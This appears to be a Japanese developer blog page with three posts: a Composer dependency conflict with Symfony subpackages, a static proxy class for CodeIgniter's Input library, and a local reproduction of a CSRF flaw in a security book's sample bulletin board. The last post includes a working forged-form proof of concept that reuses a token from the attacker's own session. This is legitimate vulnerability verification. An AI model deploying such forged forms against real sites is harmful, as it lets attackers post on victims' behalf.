Composerの依存関係の問題(Symfonyサブパッケージの例)

以下の記事にあったComposerでの依存関係の問題。

読んだだけではよくわからなかったので確認してみます。

依存関係の問題

問題としては、結果としてあるパッケージの複数のバージョンに依存してしまうと依存関係を解決できない場合があるというものです。

例えば、あるパッケージがパッケージAのバージョン1.0に依存しており、別のパッケージがAのバージョン2.0に依存している場合、依存関係を解決できません。

例えば、フレームワークがあるパッケージを使っている場合、それの互換性のないバージョンに依存するパッケージを使うことはできなくなります。フレームワークの選択が使いたいパッケージを制約します。

また、そのような依存関係が解決できない場合、Composerがエラーを表示することが期待されます。普通はそうなるなずです。

しかし、場合によりComposerが検知できずにエラーにならないケースがあるというものです。

検知できないケース

まず、Symfony 2.3をインストールします。

$ symfony new my_application 2.3

 Downloading Symfony...

    4.55 MB/4.55 MB ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓  100%

 Preparing project...

 ✔  Symfony 2.3.30 was successfully installed. Now you can:

    * Change your current directory to /Users/kenji/tmp/my_application

    * Configure your application in app/config/parameters.yml file.

    * Run your application:
        1. Execute the php app/console server:run command.
        2. Browse to the http://localhost:8000 URL.

    * Read the documentation at http://symfony.com/doc

そして、symfony/event-dispatcherを追加でインストールします。

$ cd my_application
$ composer require symfony/event-dispatcher 
Using version ^2.7 for symfony/event-dispatcher
./composer.json has been updated
Loading composer repositories with package information
Updating dependencies (including require-dev)
  - Installing symfony/event-dispatcher (v2.7.1)
    Loading from cache

Writing lock file
Generating autoload files
Updating the "app/config/parameters.yml" file
Clearing the cache for the dev environment with debug true
Installing assets using the hard copy option
Installing assets for Symfony\Bundle\FrameworkBundle into web/bundles/framework
Installing assets for Acme\DemoBundle into web/bundles/acmedemo
Installing assets for Sensio\Bundle\DistributionBundle into web/bundles/sensiodistribution

エラーなくv2.7.1がインストールできました。

さて、これで問題なく動作するのでしょうか?

$ composer dump-autoload --optimize  
Generating optimized autoload files
Warning: Ambiguous class resolution, "Symfony\Component\EventDispatcher\ContainerAwareEventDispatcher" was found in both "/Users/kenji/tmp/my_application/vendor/symfony/event-dispatcher/ContainerAwareEventDispatcher.php" and "/Users/kenji/tmp/my_application/vendor/symfony/symfony/src/Symfony/Component/EventDispatcher/ContainerAwareEventDispatcher.php", the first will be used.
Warning: Ambiguous class resolution, "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcherInterface" was found in both "/Users/kenji/tmp/my_application/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcherInterface.php" and "/Users/kenji/tmp/my_application/vendor/symfony/symfony/src/Symfony/Component/EventDispatcher/Debug/TraceableEventDispatcherInterface.php", the first will be used.
Warning: Ambiguous class resolution, "Symfony\Component\EventDispatcher\Event" was found in both "/Users/kenji/tmp/my_application/vendor/symfony/event-dispatcher/Event.php" and "/Users/kenji/tmp/my_application/vendor/symfony/symfony/src/Symfony/Component/EventDispatcher/Event.php", the first will be used.
Warning: Ambiguous class resolution, "Symfony\Component\EventDispatcher\EventDispatcher" was found in both "/Users/kenji/tmp/my_application/vendor/symfony/event-dispatcher/EventDispatcher.php" and "/Users/kenji/tmp/my_application/vendor/symfony/symfony/src/Symfony/Component/EventDispatcher/EventDispatcher.php", the first will be used.
Warning: Ambiguous class resolution, "Symfony\Component\EventDispatcher\EventDispatcherInterface" was found in both "/Users/kenji/tmp/my_application/vendor/symfony/event-dispatcher/EventDispatcherInterface.php" and "/Users/kenji/tmp/my_application/vendor/symfony/symfony/src/Symfony/Component/EventDispatcher/EventDispatcherInterface.php", the first will be used.
Warning: Ambiguous class resolution, "Symfony\Component\EventDispatcher\EventSubscriberInterface" was found in both "/Users/kenji/tmp/my_application/vendor/symfony/event-dispatcher/EventSubscriberInterface.php" and "/Users/kenji/tmp/my_application/vendor/symfony/symfony/src/Symfony/Component/EventDispatcher/EventSubscriberInterface.php", the first will be used.
Warning: Ambiguous class resolution, "Symfony\Component\EventDispatcher\GenericEvent" was found in both "/Users/kenji/tmp/my_application/vendor/symfony/event-dispatcher/GenericEvent.php" and "/Users/kenji/tmp/my_application/vendor/symfony/symfony/src/Symfony/Component/EventDispatcher/GenericEvent.php", the first will be used.
Warning: Ambiguous class resolution, "Symfony\Component\EventDispatcher\ImmutableEventDispatcher" was found in both "/Users/kenji/tmp/my_application/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php" and "/Users/kenji/tmp/my_application/vendor/symfony/symfony/src/Symfony/Component/EventDispatcher/ImmutableEventDispatcher.php", the first will be used.

警告が出てしまいました。

vendor/symfony/event-dispatcher/はバージョン2.7、vendor/symfony/symfony/src/Symfony/Component/EventDispatcher/は2.3です。

これでちゃんと動くのでしょうか?バージョン2.7に依存しているコードは、怪しそうですね。

何故?

symfony/symfonyのcomposer.jsonが以下のようになっているからのようです。

"replace": {
    ...
    "symfony/event-dispatcher": "self.version",
    ...
},

まとめ

  • Composerが検知できない解決できない依存関係があります
  • サブパッケージには注意しましょう

関連

Tags: php, composer, symfony

何故CodeIgniterでは静的メソッドを使えないのか?

CodeIgniterの本家フォーラムで以下のような投稿がありました。

$this->input->post('username');

ではなく、以下のようにできないか?というものです。

Input::post('username');

CodeIgniterで静的メソッドを使う

それに対して以下のようなクラスを作ればできるという回答がありました(以下のInputクラスは私が少し変更したものですが、やってることは同じです)。

application/libraries/Input.php

<?php

class Input
{
    public static $instance = null;

    public static function get_instance()
    {
        if (self::$instance === null) {
            $CI =& get_instance();
            self::$instance = $CI->input;
        }

        return self::$instance;
    }

    public static function __callStatic($method, $params)
    {
        $obj = self::get_instance();
        return call_user_func_array(array($obj, $method), $params);
    }
}

これで、例えば以下のようにstaticにもコールできるようになりました。

<?php

require APPPATH . 'libraries/Input.php';

class Test extends CI_Controller
{
    public function instance()
    {
        // CodeIgniter流
        echo html_escape($this->input->get('username'));
    }

    public function static_call()
    {
        // staticおじさん風
        echo html_escape(Input::get('username'));
    }
}

なお、requireの部分は親クラスやフレームワークの初期に実行されるところに移動するなり、Composerでオートロードするなりすれば、いちいち記述しなくてよくなります。

まとめ

  • Proxyクラスを用意することで、CodeIgniterでも静的メソッドでのコーディングは可能になります。
  • それにどういう意味があるのかはわかりませんが。

もし、$this->input->post()よりもInput::post()の方がよい理由をご存じの方がいましたら、お教えください。

関連

Tags: codeigniter

書籍『Webアプリケーションセキュリティ対策入門』のCSRF脆弱性について追試してみた

以下の記事よると、書籍『Webアプリケーションセキュリティ対策入門』のサンプルにCSRF脆弱性があるということなので、確認してみることにしました。

サンプルのインストール

まず、Webアプリケーションセキュリティ対策入門の付録を更新 | yohgaki's blogよりサンプルコードsimple-bbs.tar.bz2をダウンロードします。

展開し、データベースを作成します。

$ tar xvf simple-bbs.tar.bz2
$ (cd simple-bbs/dat/install/; php initdb.php)
データベースを作成:/Users/kenji/tmp/simple-bbs/dat/bbs.dat
form_idテーブルを作成しました。
userテーブルを作成しました。
threadテーブルを作成しました。
messageテーブルを作成しました。
ユーザー:guest パスワード:guest を作成しました。

ビルトインWebサーバを起動します。

$ cd simple-bbs
$ php -S 127.0.0.1:8000

これで http://127.0.0.1:8000/ にアクセスするとシンプル掲示板が動きました。

初期状態ではユーザがguestしかありません。

$ sqlite3 dat/bbs.dat 
SQLite version 3.8.5 2014-08-15 22:37:57
Enter ".help" for usage hints.
sqlite> select * from user;
1|guest|35675e68f4b5af7b995d9205ad0fc43842f16450|0|

攻撃者用のユーザも作成しておきましょう。パスワードはSHA1ハッシュなのでguestと同じにしておきます。

sqlite> INSERT INTO user (username, password) VALUES ('attacker', '35675e68f4b5af7b995d9205ad0fc43842f16450');
sqlite> select * from user;
1|guest|35675e68f4b5af7b995d9205ad0fc43842f16450|0|
2|attacker|35675e68f4b5af7b995d9205ad0fc43842f16450|0|

攻撃者の作業

ユーザ名attacker、パスワードguestでログインできることを確認します。

そして「新規作成」を押して、そのページのHTMLを確認します。

…
   <form name="thread_create" method="post" action="/thread_create.php">
    <table>
     <tr><td>タイトル</td><td><input type="text" name="title" /></td></tr>
     <tr><td>メッセージ</td><td><textarea name="message"></textarea></td></tr>
    </table>
    <input type="submit" name="submit_btn" value="送信" />
    <input type="hidden" name="form_id" value="62f9ccbcf93d9a0532ff43d638af9e664c8ffd2d" />
   </form>
…

62f9ccbcf93d9a0532ff43d638af9e664c8ffd2d|1435627006というトークンが埋め込まれていることがわかります。

データベースも確認してみます。

sqlite> select * from form_id;
62f9ccbcf93d9a0532ff43d638af9e664c8ffd2d|1435627006

それでは、攻撃用のHTMLファイルを作成します。CSRFの検証のためだけなのでHTMLフォームだけあれば十分です。

test.html

   <form name="thread_create" method="post" action="http://127.0.0.1:8000/thread_create.php">
    <table>
     <tr><td>タイトル</td><td><input type="text" name="title" value="タイトル"/></td></tr>
     <tr><td>メッセージ</td><td><textarea name="message">CSRF攻撃のテスト</textarea></td></tr>
    </table>
    <input type="submit" name="submit_btn" value="送信" />
    <input type="hidden" name="form_id" value="62f9ccbcf93d9a0532ff43d638af9e664c8ffd2d" />
   </form>

攻撃されるユーザ

ここから攻撃される側になります。

ユーザguestでログインしてから、攻撃用のtest.htmlをブラウザで開き「送信」ボタンを押します。

検証のためだけなので自分でボタンを押してますが、本物の攻撃者ならアクセスしただけで自動的に送信されるようにすることでしょう。

結果、以下のように投稿されました。

以上の検証より、この手順でCSRF攻撃は成功するということになります。

まとめ

  • 書籍『Webアプリケーションセキュリティ対策入門』のサンプルにはCSRF脆弱性があります

(2015-07-01 追記) サンプルが更新され、このCSRF脆弱性はなくなりました。詳細は以下をご覧願います。

関連

Tags: security, csrf, book, database